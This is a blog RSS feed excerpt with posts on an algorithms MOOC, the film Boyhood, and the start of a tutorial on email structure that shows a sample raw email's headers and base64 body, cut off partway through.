&lt;p&gt;It is arguably the best MOOC algorithms and data-structure course out there, and if you look around the interwebs (or maybe ask around) a bit, most of the netizens will agree. That’s why the course gets a lot of registrations, and the discussion forum of the course is quite active as a result. That may turn out to be helpful to you, if you’re the type. I don’t really take part in such discussions, rather I like to tackle the problem myself. But for me too, it turned out to be helpful once I got badly stuck on an assignment. So that’s a nice thing you can rely upon if it seems too hard for you.&lt;/p&gt;
&lt;h2 id=&quot;pricing-and-certification&quot;&gt;Pricing and Certification&lt;/h2&gt;
&lt;p&gt;This course is completely free, so that’s nice. There’s one caveat though, the usual option of paying for the certificate is not there too. So that means, even if you wanted, you can’t get a certificate to show-off. But frankly, MOOC certificates does not hold much value in the real world. I’m planning to post an article on this soon, so stay tuned!&lt;/p&gt;
&lt;h2 id=&quot;my-code-for-this-course&quot;&gt;My code for this course&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/SkullTech/algorithms-princeton&quot;&gt;Here’s&lt;/a&gt; the code I wrote while taking the course. It contains the solutions to the assignments too, so I’d suggest you not to check the folder “Assignments” unless you’re done with it.&lt;/p&gt;
</content:encoded></item><item><title>Boyhood. Through Some Quotes.</title><link>https://sumit-ghosh.com/posts/boyhood-through-some-quotes/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/boyhood-through-some-quotes/</guid><description>Boyhood. Through Some Quotes. — by Sumit Ghosh.</description><pubDate>Wed, 15 Nov 2017 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;After watching &lt;em&gt;Boyhood&lt;/em&gt; for the second time some days ago, I realized, again, how awesome this film is. I won’t go about in length how this film is a marvelous achievement in storytelling, shooting with the same actors over a period of 12 years, but rather I’ll write about how it touched me.&lt;/p&gt;
&lt;p&gt;The beautiful thing about this movie is, it doesn’t have a theme, per se. It doesn’t try to get across any idea and embed it into the viewer forcefully, it just tells a story. Consequently, from a basic teaser of the movie, like the ones they show as a short description on IMDb, the story seems plain. The IMDb description of this movie reads, &lt;em&gt;“The life of Mason, from early childhood to his arrival at College”&lt;/em&gt;, which screams lack of depth. But the marvel of this movie lies in the simplicity of the story itself, it tries to make the story as real and intimate as possible, so that every viewer can relate to it in different ways, making the movie a different experience for everyone, similar only in the aspect that it warms up your insides in a really nice way.&lt;/p&gt;
&lt;p&gt;The first time I saw the movie, I didn’t pick up the finer philosophies woven into the dialogues, rather I just felt that nice feeling. That itself made me fall in love with this movie. But the second time I watched it, I could relate to it at a whole different degree, so much, it seemed almost freaky to me. I thought, how can this movie speak the exact same thoughts that I have been thinking the past few weeks? The immediate explanation I could think of was — the first time I watched the film, the ideas got embedded in the back of my head, and then it manifested slowly later on. When I was discussing this apparent freak occurrence with a friend, she told me, “We all see things differently depending on our stance in life at that point of time”. I liked that explanation more, and I think that’s the way it works — art in general. You interpret it and relate to it according to you, your personality, your stance in life at that point and so on, and so the experience is different for everyone.&lt;/p&gt;
&lt;p&gt;There are two characters in this movie that really touched me, making me think about life more and more. One is, obviously, Mason (junior). And another is Mason’s mom. Trying to analyze Mason’s personality from an &lt;em&gt;MBTI&lt;/em&gt; standpoint, I think he’s an INTP. But the way he’s portrayed in the movie kind of resembles an INFP in some aspects, so taking that into account I’d say he’s an INXP. Actually, his philosophies and ideals scream INTP, but his artsy interests makes him unlike a typical INTP, rather like a typical INFP. But as I’m focusing on his ideals and thoughts only, I’ll go with the INTP part of him.&lt;/p&gt;
&lt;p&gt;From childhood only, Mason knew he’s different as he’s more into movies and books than any of his friends. His character especially gets depth after he grows up into young-adulthood, his thoughts and philosophies being expressed mostly through his conversations with his girlfriend Sheena. I will copy-paste one of them from IMDb &lt;a href=&quot;http://www.imdb.com/title/tt1065073/quotes&quot;&gt;here&lt;/a&gt; —&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Mason&lt;/strong&gt;: I just feel like there are so many things that I could be doing and probably want to be doing that I’m just not.&lt;br&gt;
&lt;strong&gt;Sheena&lt;/strong&gt;: Why aren’t you?&lt;br&gt;
&lt;strong&gt;Mason&lt;/strong&gt;: I mean, I guess, it’s just being afraid of what people would think. You know, judgement.&lt;br&gt;
&lt;strong&gt;Sheena&lt;/strong&gt;: Yeah. I guess it’s really easy to say, like I don’t care what anyone else thinks. But everyone does, you know. Deep down.&lt;br&gt;
&lt;strong&gt;Mason&lt;/strong&gt;: I find myself so furious at all these people that I am in contact with just for controlling me or whatever but you know they are not even aware they are doing it.&lt;br&gt;
&lt;strong&gt;Sheena&lt;/strong&gt;: Yeah. So, in this perfect world where no one is controlling you. What’s different? What changes?&lt;br&gt;
&lt;strong&gt;Mason&lt;/strong&gt;: Everything. I mean, I just wanna be able to do anything I want, because it makes me feel alive. As opposed to giving me the appearance of normality.&lt;br&gt;
&lt;strong&gt;Sheena&lt;/strong&gt;: Whatever that means.&lt;br&gt;
&lt;strong&gt;Mason&lt;/strong&gt;: I don’t think it means much.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Then, the next quote by Mason, where he is &lt;em&gt;talking about college&lt;/em&gt;, but this can be extended to all our life.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Mason&lt;/strong&gt;: But it’s like a preordained slot that’s already got your name and number on it. I don’t think it’s the key to my future. ‘Cause, I mean, look at my mom. She got her degree and got a pretty good job. She can pay her bills. I like your mom. I like my mom, too. I just mean… Basically she’s still just as fuckin’ confused as I am.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This statement of Mason is confirmed by her mom herself later in the film, when Mason is leaving for College. After living most of her life in the &lt;em&gt;rat race&lt;/em&gt;, when she sends off Mason to college, she breaks down with a crisis that we should all try to avoid.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Mom&lt;/strong&gt;: You know what I’m realising? My life is just going to go. Like that. This series of milestones. Getting married. Having kids. Getting divorced. The time that we thought you were dyslexic. When I taught you how to ride a bike. Getting divorced… again. Getting my masters degree. Finally getting the job I wanted. Sending Samantha off to college. Sending you off to college. You know what’s next? Huh? It’s my fucking funeral! Just go, and leave my picture!&lt;br&gt;
&lt;strong&gt;Mason&lt;/strong&gt;: Aren’t you jumping ahead by, like, 40 years or something?&lt;br&gt;
&lt;strong&gt;Mom&lt;/strong&gt;: I just thought there would be more.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Breaking out of the &lt;em&gt;rat race&lt;/em&gt; and going perpendicular to the direction of the herd takes a lot of inner strength, self-confidence, and capability of thinking &lt;em&gt;freely&lt;/em&gt;, in the truest sense of the word. Following the herd is easier, as it makes you think that you’re normal. The society also treats you that way, even rewards you temporarily, for being normal. But at the end of our life, we all would feel like Mason’s Mom did, “&lt;em&gt;I just thought there would be more&lt;/em&gt;”. The hard truth is, there won’t be more unless you actively strive for what you really want to do, what really would make you not have this thought when you’re old. Deciding what it is, is not an easy task, sooner we do it, the lesser we’ll have to suffer in life.&lt;/p&gt;
</content:encoded></item><item><title>Email — Structure and How to Trace it</title><link>https://sumit-ghosh.com/posts/email-structure-and-how-to-trace-it/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/email-structure-and-how-to-trace-it/</guid><description>Email — Structure and How to Trace it — by Sumit Ghosh.</description><pubDate>Fri, 30 Dec 2016 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;We all have received fake spam mail telling us that we’ve won million dollars at some point in our life. Maybe one day you receive a threatening email or a simple phishing mail, and you want to find out who did it so that you can hack him in return. To do that you need to know the IP address of the mail server sending the email. In this article I’m gonna show you how to do that, after introducing you to the basics of the structure of an &lt;em&gt;Internet Message&lt;/em&gt; or simply, &lt;em&gt;Email&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Email is one of oldest mode of communication through a computer network—usually the Internet—which is still popular today. The Email which we are familiar with was standardized and came into popular usage in the early 1970s, and it has been a core foundation of the Internet since then. Nowadays we all use a fancy web interface or mobile app to send and view received emails, so we don’t have to worry about how is it working. But that isn’t enough for a hacker, is it? If we don’t know the detailed intricacies of its mechanism, how can we exploit it or do something advanced with it? So, keep reading!&lt;/p&gt;
&lt;h2 id=&quot;the-internet-message-format&quot;&gt;The Internet Message Format&lt;/h2&gt;
&lt;p&gt;The current Email format is defined in &lt;a href=&quot;https://tools.ietf.org/html/rfc5322&quot;&gt;RFC 5322&lt;/a&gt;. Multimedia Email attachments’ format is defined in &lt;a href=&quot;https://tools.ietf.org/html/rfc2045&quot;&gt;RFC 2045&lt;/a&gt; through &lt;a href=&quot;https://tools.ietf.org/html/rfc2049&quot;&gt;RFC 2049&lt;/a&gt;, and this format is called Multimedia Internet Mail Extensions or simply MIME. You can read those RFC articles to get a fully detailed formal documentation of the structure and format of email, but it’s not necessary as I will discuss it in short here. Nevertheless, if you are interested to learn more, you can check them out after reading this post of mine.&lt;/p&gt;
&lt;p&gt;At the most basic level, an email is a series of ASCII characters. It consists of line of characters, lines ending with ASCII ‘CRLF’ (carriage return and line feed). The entire email can be divided into two parts, the Header section and the Body. Let’s see an example email to get an idea of what we are talking about.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Delivered-To: john.doe@gmail.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Received: by 10.200.55.226 with SMTP id e31csp1128773qtc;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Tue, 18 Oct 2016 09:50:19 -0700 (PDT)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Received: by 10.107.131.213 with SMTP id n82mr2118112ioi.125.1476809419401;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Tue, 18 Oct 2016 09:50:19 -0700 (PDT)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Return-Path:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Received: from o6.em.email.accounts.autodesk.com (o6.em.email.accounts.autodesk.com. [167.89.4.107])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;by mx.google.com with ESMTPS id g126si21395826ioa.252.2016.10.18.09.50.19&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;for&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;(version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Tue, 18 Oct 2016 09:50:19 -0700 (PDT)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Received-SPF: pass (google.com: domain of bounces+1621835-f4d2-john.doe=gmail.com@em.email.accounts.autodesk.com designates 167.89.4.107 as permitted sender) client-ip=167.89.4.107;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Authentication-Results: mx.google.com;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;dkim=pass header.i=@email.accounts.autodesk.com;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;dkim=pass header.i=@sendgrid.info;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spf=pass (google.com: domain of bounces+1621835-f4d2-john.doe=gmail.com@em.email.accounts.autodesk.com designates 167.89.4.107 as permitted sender) smtp.mailfrom=bounces+1621835-f4d2-john.doe=gmail.com@em.email.accounts.autodesk.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=email.accounts.autodesk.com; h=mime-version:from:to:reply-to:subject:content-type:content-transfer-encoding; s=smtpapi; bh=yheKlMFCWTtON78IXgxVWyAUb78=; b=I8q38u7TFdqinW6Y02 AM+ifHWAvTihYfBs5GSZl8JDnuc1BlMffeS8KUkWyRJjLY+B0ch4uPXBvCHdCZ75 VGkMp0jmmQRyVzQ4hfvAeTYVJ0fDzB89cHKyTzLTpd/ak9D0OAcc+6TJFqCgURMH CSrAzDL/ejxBTOEgepL8Y3Feg=&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=sendgrid.info; h=mime-version:from:to:reply-to:subject:content-type:content-transfer-encoding:x-feedback-id; s=smtpapi; bh=yheKlMFCWTtON78IXgxVWyAUb78=; b=YK6zoBmBYxE2GRUFIh Qze6EJGuxLw1UtO+NGfdmUgSmtNVLUt8p/N+CS9nPNONFESaVo2Ebk0iV8OBXqs0 EhPaOVOIiAcnSI/fwzd8A/dN+y3gqNquU3ysc9Gyk3kDcFSI8nj9yC4uhAs4fpMv AC/2kWdHjFjHBiTRYcL07C46M=&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Received: by filter0958p1mdw1.sendgrid.net with SMTP id filter0958p1mdw1.2775.580652C7AF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;2016-10-18 16:50:15.915852162 +0000 UTC&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Received: from ECPRID2AWEB004 (ec2-52-4-196-162.compute-1.amazonaws.com [52.4.196.162]) by ismtpd0006p1iad1.sendgrid.net (SG) with ESMTP id aIawJW2DTFi0CgbichcKJg for ; Tue, 18 Oct 2016 16:50:15.917 +0000 (UTC)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;MIME-Version: 1.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;From: Autodesk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;To: john.doe@gmail.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Reply-To: noreply@mail.accounts.autodesk.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Date: 18 Oct 2016 16:50:15 +0000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Subject: Verify your Autodesk account&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Content-Type: text/html; charset=utf-8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Content-Transfer-Encoding: base64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Message-ID:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-SG-EID: iimKsBOu00eJI3OJPONMulw6aZ/yjiemm1SqdEDLcTZBP1eHyN3Qr32i1Vdhd5J7BwflVrWhRCLr0j woo/OKUHaIA1bGmnv8Qd2DfN0OSocqGDQ8DK7afms0hcjbrNUG/S3Bsv7fJWCR15UEaoJ/qfJtpdgG gZSAdl3d07GxUEWB0KHMNBmsfHLUEhfyzWPfn5IBYcQ334wRxcWBQ/eu31XQd8fIXETIiBgrd19ic6 SiLuZKRyxs7mVzCv46+9G/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Feedback-ID: 1621835:SZNY+iwS6efjfOV9JjNuzvzTddPNBc3FolKu4zujGFA=:SZNY+iwS6efjfOV9JjNuzvzTddPNBc3FolKu4zujGFA=:SG&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PGh0bWw+DQo8aGVhZD4NCjxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9j&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;c3M/ZmFtaWx5PU9wZW4rU2Fuczo0MDAsMzAwLDcwMCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ZXh0L2NzcyIgLz4NCjxzdHlsZT4NCiAgICAgICBAaW1wb3J0IHVybChodHRwOi8vZm9udHMuZ29v&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Z2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnM6NDAwLDMwMCw3MDApOw0KCSAgIFtzdHls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ZSo9Ik9wZW4gU2FucyJdIHsNCiAgICBmb250LWZhbWlseTogJ09wZW4gU2FucycsIEFyaWFsLCBz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;YW5zLXNlcmlmICFpbXBvcnRhbnQNCn0NCg0KYXsNCnRleHQtZGVjb3JhdGlvbjpub25lICFpbXBv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cnRhbnQ7DQpjb2xvcjojMDY5NkQ3ICFpbXBvcnRhbnQ7DQp9DQphOmhvdmVyew0KdGV4dC1kZWNv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cmF0aW9uOnVuZGVybGluZSAhaW1wb3J0YW50Ow0KDQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KICA8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Ym9keSBzdHlsZT0icGFkZGluZzozMnB4IDEwJTsgbWFyZ2luOjBweDsgZm9udC1mYW1pbHk6J09w&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ZW4gU2FucycsICdIZWx2ZXRpY2EgTmV1ZScsIEhlbHZldGljYSxBcmlhbCwgU2Fucy1TZXJpZjtj&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;b2xvcjogIzMzMzsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRjsiPg0KICAgIDx0YWJsZSAgc3R5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;bGU9ImJvcmRlcjoxcHggc29saWQgI2NjYzsiICA+DQogICAgICAgPHRyICA+DQogICAgICAgICA8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;dGQgc3R5bGU9InBhZGRpbmc6MHB4O21hcmdpbjozMnB4O21hcmdpbi1ib3R0b206MHB4OyIgYWxp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Z249ImxlZnQiPg0KICAgICAgICAgICAgPGltZyBzdHlsZT0ibWFyZ2luOjMycHg7bWFyZ2luLWJv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;dHRvbTowcHgiIHNyYz0iaHR0cHM6Ly9hcGkuYXV0b2Rlc2suY29tL2NvbnRlbnQvaWRlbnRpdHkv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;MS4wLjIxMTguMzg4MTU5LjEwMjMvei9Db250ZW50L2ltYWdlcy9sYXlvdXQvYXV0b2Rlc2stZW1h&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;aWwtbG9nby5wbmciIGFsdD0iQXV0b2Rlc2siLz4NCiAgICAgICAgIDwvdGQ+DQogICAgICA8L3Ry&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Pg0KICAgICAgPHRyID4NCiAgICAgICAgPHRkIHN0eWxlPSJwYWRkaW5nOjMycHg7Ij4NCiAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICA8dGFibGUgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIHdp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ZHRoPSIxMDAlIiBzdHlsZT0id2lkdGg6IDEwMCU7Ij4NCiAgICAgICAgICAgIDx0ciBzdHlsZT0i&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;bWFyZ2luOjMycHg7bWFyZ2luLWxlZnQ6MHB4Ij4NCiAgICAgICAgICAgICAgPHRkPg0KCQkJICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IDx0YWJsZSBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgc3R5bGU9&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ImZvbnQtZmFtaWx5OiAnT3BlbiBTYW5zJywnSGVsdmV0aWNhIE5ldWUnLCBIZWx2ZXRpY2EsQXJp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;YWwsIFNhbnMtU2VyaWYiPg0KCQkJCSAgICA8dHI+DQoJCQkJCSAgICA8dGQgIHN0eWxlPSJmb250&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LWZhbWlseTogJ09wZW4gU2FucycsJ0hlbHZldGljYSBOZXVlJywgSGVsdmV0aWNhLEFyaWFsLCBT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;YW5zLVNlcmlmIj4NCgkJCQkgICAgICAgICAgICA8cCBzdHlsZT0iZm9udC1zaXplOiAyMnB4O21h&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cmdpbjowcHg7cGFkZGluZzowcHg7Zm9udC13ZWlnaHQ6NDAwIj4NCgkJCQkgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;SGkgU3VtaXQgR2hvc2gsDQoJCQkJICAgICAgICAgICAgPC9wPg0KCQkJCSAgICAgICAgICAgIDxw&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IHN0eWxlPSJmb250LXNpemU6IDE0cHg7bWFyZ2luOjBweDtwYWRkaW5nOjBweDttYXJnaW4tdG9w&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;OjE2cHg7Zm9udC1mYW1pbHk6J09wZW4gU2FucycsJ0hlbHZldGljYSBOZXVlJywgSGVsdmV0aWNh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;LGFyaWFsO2ZvbnQtd2VpZ2h0OjQwMDtsaW5lLWhlaWdodDoxLjYiPg0KCQkJCQkgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IFdlbGNvbWUgdG8gQXV0b2Rlc2shDQoJCQkJICAgICAgICAgICAgPC9wPg0KCQkJCQkJCSA8cCBz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;dHlsZT0iZm9udC1zaXplOiAxNHB4O2NvbG9yOiMzMzM7dGV4dC1kZWNvcmF0aW9uOm5vbmU7cGFk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ZGluZzowcHg7bWFyZ2luOjBweDtmb250LWZhbWlseTonT3BlbiBTYW5zJywnSGVsdmV0aWNhIE5l&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;dWUnLCBIZWx2ZXRpY2EsYXJpYWw7Zm9udC13ZWlnaHQ6NDAwO2xpbmUtaGVpZ2h0OjEuNiI+DQoJ&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;CQkJCSAgICAgICAgICAgUGxlYXNlIGNvbXBsZXRlIHlvdXIgYWNjb3VudCBieSB2ZXJpZnlpbmcg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;eW91ciBlbWFpbCBhZGRyZXNzLg0KCQkJCSAgICAgICAgICAgIDwvcD4NCgkJCQkgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICA8cCA+DQoJCQkJCQkJICA8IS0tW2lmIG1zb10+DQoJCQkJCQkJICAgIDxwIHN0eWxlPSJtYXJn&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;aW4tdG9wOjE2cHg7bWFyZ2luLWJvdHRvbTozMnB4OyI+DQogICAgICAgICAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgIDx2OnJvdW5kcmVjdCB4bWxuczp2PSJ1cm46c2NoZW1hcy1taWNyb3NvZnQt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Y29tOnZtbCIgeG1sbnM6dz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6d29yZCIg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;aHJlZj0iaHR0cHM6Ly9hY2NvdW50cy5hdXRvZGVzay5jb206NDQzL3VzZXIvdmVyaWZ5ZW1haWwv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;MzlkYzYwNjhiYTgwMzc2ZTVhY2ZhN2NiOWE3ZDUwZDM3MTM3NGMyMz9yZWZlcnJlcj1odHRwJTNB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;JTJGJTJGd3d3LmF1dG9kZXNrLmNvbSUyRmVkdWNhdGlvbiUyRmZyZWUtc29mdHdhcmUlMkZpbnZl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;bnRvci1wcm9mZXNzaW9uYWwmcHJvZHVjdG5hbWU9ZG90Y29tJnVpdHlwZT1lZHVjYXRpb24iIHN0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;eWxlPSJoZWlnaHQ6NTBweDt3aWR0aDogMjAwcHg7di10ZXh0LWFuY2hvcjptaWRkbGU7d2lkdGg6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;YXV0bzt0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyIgYXJjc2l6ZT0iMCUiICBzdHJva2U9ImYi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IGZpbGxjb2xvcj0iIzA2OTZENyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICA8dzphbmNob3Jsb2NrLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Y2VudGVyIHN0eWxlPSJjb2xvcjojZmZmZmZmO2ZvbnQtZmFtaWx5OidPcGVuIFNhbnMnLCdIZWx2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ZXRpY2EgTmV1ZScsIEhlbHZldGljYSxhcmlhbDtmb250LXNpemU6MTlweCI+DQogICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWRVJJRlkgRU1BSUwNCiAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgIDwvdjpyb3VuZHJlY3Q+DQoJCQkJCQkJCSAgIDwvcD4NCiAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ICAgICAgICAgICAgICAgICAgPCFbZW5kaWZdLS0+DQogICAgICAgICAgICAgICAgICAgICAgICAg&lt;/span&gt;&lt;/span&gt;
